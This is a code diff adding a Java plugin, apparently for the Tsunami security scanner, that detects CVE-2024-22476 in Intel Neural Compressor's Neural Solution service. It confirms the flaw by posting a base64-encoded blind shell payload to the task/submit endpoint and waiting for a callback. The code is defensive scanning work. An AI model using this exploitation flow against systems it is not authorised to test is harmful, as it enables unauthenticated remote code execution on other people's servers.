|
| 1 | +/* |
| 2 | + * Copyright 2024 Google LLC |
| 3 | + * |
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); |
| 5 | + * you may not use this file except in compliance with the License. |
| 6 | + * You may obtain a copy of the License at |
| 7 | + * |
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 |
| 9 | + * |
| 10 | + * Unless required by applicable law or agreed to in writing, software |
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, |
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 13 | + * See the License for the specific language governing permissions and |
| 14 | + * limitations under the License. |
| 15 | + */ |
| 16 | + |
| 17 | +package com.google.tsunami.plugins.detectors.cves.cve202422476; |
| 18 | + |
| 19 | +import static com.google.common.base.Preconditions.checkNotNull; |
| 20 | +import static com.google.common.collect.ImmutableList.toImmutableList; |
| 21 | +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; |
| 22 | +import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; |
| 23 | +import static com.google.tsunami.common.net.http.HttpRequest.post; |
| 24 | +import static java.nio.charset.StandardCharsets.UTF_8; |
| 25 | + |
| 26 | +import com.google.common.collect.ImmutableList; |
| 27 | +import com.google.common.flogger.GoogleLogger; |
| 28 | +import com.google.common.io.BaseEncoding; |
| 29 | +import com.google.common.io.Resources; |
| 30 | +import com.google.common.util.concurrent.Uninterruptibles; |
| 31 | +import com.google.protobuf.ByteString; |
| 32 | +import com.google.protobuf.util.Timestamps; |
| 33 | +import com.google.tsunami.common.data.NetworkServiceUtils; |
| 34 | +import com.google.tsunami.common.net.http.HttpClient; |
| 35 | +import com.google.tsunami.common.net.http.HttpHeaders; |
| 36 | +import com.google.tsunami.common.net.http.HttpRequest; |
| 37 | +import com.google.tsunami.common.net.http.HttpResponse; |
| 38 | +import com.google.tsunami.common.time.UtcClock; |
| 39 | +import com.google.tsunami.plugin.PluginType; |
| 40 | +import com.google.tsunami.plugin.VulnDetector; |
| 41 | +import com.google.tsunami.plugin.annotations.ForWebService; |
| 42 | +import com.google.tsunami.plugin.annotations.PluginInfo; |
| 43 | +import com.google.tsunami.plugin.payload.Payload; |
| 44 | +import com.google.tsunami.plugin.payload.PayloadGenerator; |
| 45 | +import com.google.tsunami.proto.DetectionReport; |
| 46 | +import com.google.tsunami.proto.DetectionReportList; |
| 47 | +import com.google.tsunami.proto.DetectionStatus; |
| 48 | +import com.google.tsunami.proto.NetworkService; |
| 49 | +import com.google.tsunami.proto.PayloadGeneratorConfig; |
| 50 | +import com.google.tsunami.proto.Severity; |
| 51 | +import com.google.tsunami.proto.TargetInfo; |
| 52 | +import com.google.tsunami.proto.Vulnerability; |
| 53 | +import com.google.tsunami.proto.VulnerabilityId; |
| 54 | +import java.io.IOException; |
| 55 | +import java.time.Clock; |
| 56 | +import java.time.Duration; |
| 57 | +import java.time.Instant; |
| 58 | +import javax.inject.Inject; |
| 59 | + |
| 60 | +/** A {@link VulnDetector} that detects the CVE-2024-22476 vulnerability. */ |
| 61 | +@PluginInfo( |
| 62 | + type = PluginType.VULN_DETECTION, |
| 63 | + name = "CVE-2024-22476 Detector", |
| 64 | + version = "0.1", |
| 65 | + description = "Checks for occurrences of CVE-2024-22476 in Intel Neural Compressor instances.", |
| 66 | + author = "frkngksl", |
| 67 | + bootstrapModule = Cve202422476DetectorBootstrapModule.class) |
| 68 | +@ForWebService |
| 69 | +public final class Cve202422476VulnDetector implements VulnDetector { |
| 70 | + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); |
| 71 | + |
| 72 | + private final Clock utcClock; |
| 73 | + private final PayloadGenerator payloadGenerator; |
| 74 | + |
| 75 | + private static final String VUL_PATH = "task/submit/"; |
| 76 | + private static final int BATCH_REQUEST_WAIT_AFTER_TIMEOUT = 10; |
| 77 | + private final String taskRequestTemplate; |
| 78 | + private static HttpClient httpClient; |
| 79 | + |
| 80 | + @Inject |
| 81 | + Cve202422476VulnDetector( |
| 82 | + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) |
| 83 | + throws IOException { |
| 84 | + this.utcClock = checkNotNull(utcClock); |
| 85 | + Cve202422476VulnDetector.httpClient = |
| 86 | + checkNotNull(httpClient, "HttpClient cannot be null.") |
| 87 | + .modify() |
| 88 | + .setFollowRedirects(false) |
| 89 | + .build(); |
| 90 | + this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); |
| 91 | + taskRequestTemplate = |
| 92 | + Resources.toString(Resources.getResource(this.getClass(), "task_request.json"), UTF_8); |
| 93 | + } |
| 94 | + |
| 95 | + @Override |
| 96 | + public DetectionReportList detect( |
| 97 | + TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) { |
| 98 | + |
| 99 | + return DetectionReportList.newBuilder() |
| 100 | + .addAllDetectionReports( |
| 101 | + matchedServices.stream() |
| 102 | + .filter(Cve202422476VulnDetector::isWebServiceOrUnknownService) |
| 103 | + .filter(this::isServiceVulnerable) |
| 104 | + .map(networkService -> buildDetectionReport(targetInfo, networkService)) |
| 105 | + .collect(toImmutableList())) |
| 106 | + .build(); |
| 107 | + } |
| 108 | + |
| 109 | + private static boolean checkNeuralSolutionFingerprint(NetworkService networkService) { |
| 110 | + String targetWebAddress = buildTarget(networkService).toString(); |
| 111 | + var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); |
| 112 | + |
| 113 | + try { |
| 114 | + HttpResponse response = httpClient.send(request, networkService); |
| 115 | + return response.status().isSuccess() |
| 116 | + && response |
| 117 | + .bodyString() |
| 118 | + .map(body -> body.contains("{\"message\":\"Welcome to Neural Solution!\"}")) |
| 119 | + .orElse(false); |
| 120 | + } catch (IOException e) { |
| 121 | + logger.atWarning().withCause(e).log("Failed to send request."); |
| 122 | + return false; |
| 123 | + } |
| 124 | + } |
| 125 | + |
| 126 | + private static boolean isWebServiceOrUnknownService(NetworkService networkService) { |
| 127 | + return NetworkServiceUtils.isWebService(networkService) |
| 128 | + && checkNeuralSolutionFingerprint(networkService); |
| 129 | + } |
| 130 | + |
| 131 | + private static StringBuilder buildTarget(NetworkService networkService) { |
| 132 | + StringBuilder targetUrlBuilder = new StringBuilder(); |
| 133 | + if (NetworkServiceUtils.isWebService(networkService)) { |
| 134 | + targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); |
| 135 | + } else { |
| 136 | + targetUrlBuilder |
| 137 | + .append("https://") |
| 138 | + .append(toUriAuthority(networkService.getNetworkEndpoint())) |
| 139 | + .append("/"); |
| 140 | + } |
| 141 | + return targetUrlBuilder; |
| 142 | + } |
| 143 | + |
| 144 | + private boolean isServiceVulnerable(NetworkService networkService) { |
| 145 | + Payload payload = generateCallbackServerPayload(); |
| 146 | + if (!payload.getPayloadAttributes().getUsesCallbackServer()) { |
| 147 | + logger.atInfo().log( |
| 148 | + "The Tsunami callback server is not setup for this environment, so we cannot confirm the" |
| 149 | + + " RCE callback"); |
| 150 | + return false; |
| 151 | + } |
| 152 | + String taskRequestBody = taskRequestTemplate; |
| 153 | + // Check callback server is enabled |
| 154 | + logger.atInfo().log("Callback server is available!"); |
| 155 | + taskRequestBody = |
| 156 | + taskRequestBody.replace( |
| 157 | + "{{CALLBACK_PAYLOAD}}", |
| 158 | + BaseEncoding.base64().encode(payload.getPayload().getBytes(UTF_8))); |
| 159 | + String targetVulnerabilityUrl = buildTarget(networkService).append(VUL_PATH).toString(); |
| 160 | + logger.atInfo().log(taskRequestBody); |
| 161 | + try { |
| 162 | + HttpResponse httpResponse = |
| 163 | + httpClient.send( |
| 164 | + post(targetVulnerabilityUrl) |
| 165 | + .setHeaders( |
| 166 | + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) |
| 167 | + .setRequestBody(ByteString.copyFromUtf8(taskRequestBody)) |
| 168 | + .build(), |
| 169 | + networkService); |
| 170 | + logger.atInfo().log("Callback Server Payload Response: %s", httpResponse.bodyString().get()); |
| 171 | + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT)); |
| 172 | + return payload.checkIfExecuted(); |
| 173 | + |
| 174 | + } catch (IOException e) { |
| 175 | + logger.atWarning().withCause(e).log("Failed to send request."); |
| 176 | + return false; |
| 177 | + } |
| 178 | + } |
| 179 | + |
| 180 | + private Payload generateCallbackServerPayload() { |
| 181 | + PayloadGeneratorConfig config = |
| 182 | + PayloadGeneratorConfig.newBuilder() |
| 183 | + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) |
| 184 | + .setInterpretationEnvironment( |
| 185 | + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) |
| 186 | + .setExecutionEnvironment( |
| 187 | + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) |
| 188 | + .build(); |
| 189 | + |
| 190 | + return this.payloadGenerator.generate(config); |
| 191 | + } |
| 192 | + |
| 193 | + private DetectionReport buildDetectionReport( |
| 194 | + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { |
| 195 | + return DetectionReport.newBuilder() |
| 196 | + .setTargetInfo(targetInfo) |
| 197 | + .setNetworkService(vulnerableNetworkService) |
| 198 | + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) |
| 199 | + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) |
| 200 | + .setVulnerability( |
| 201 | + Vulnerability.newBuilder() |
| 202 | + .setMainId( |
| 203 | + VulnerabilityId.newBuilder() |
| 204 | + .setPublisher("TSUNAMI_COMMUNITY") |
| 205 | + .setValue("CVE_2024_22476")) |
| 206 | + .setSeverity(Severity.CRITICAL) |
| 207 | + .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") |
| 208 | + .setDescription( |
| 209 | + "The Intel Neural Compressor has a component called Neural Solution that brings" |
| 210 | + + " the capabilities of Intel Neural Compressor as a service. The" |
| 211 | + + " task/submit API in the Neural Solution webserver is vulnerable to an" |
| 212 | + + " unauthenticated remote code execution (RCE) attack. The" |
| 213 | + + " script_urlparameter in the body of the POST request for this API is not" |
| 214 | + + " validated or filtered on the backend. As a result, attackers can" |
| 215 | + + " manipulate this parameter to remotely execute arbitrary commands.") |
| 216 | + .setRecommendation( |
| 217 | + "You can upgrade your Intel Neural Compressor instances to 2.5.0 or later.")) |
| 218 | + .build(); |
| 219 | + } |
| 220 | +} |
0 commit comments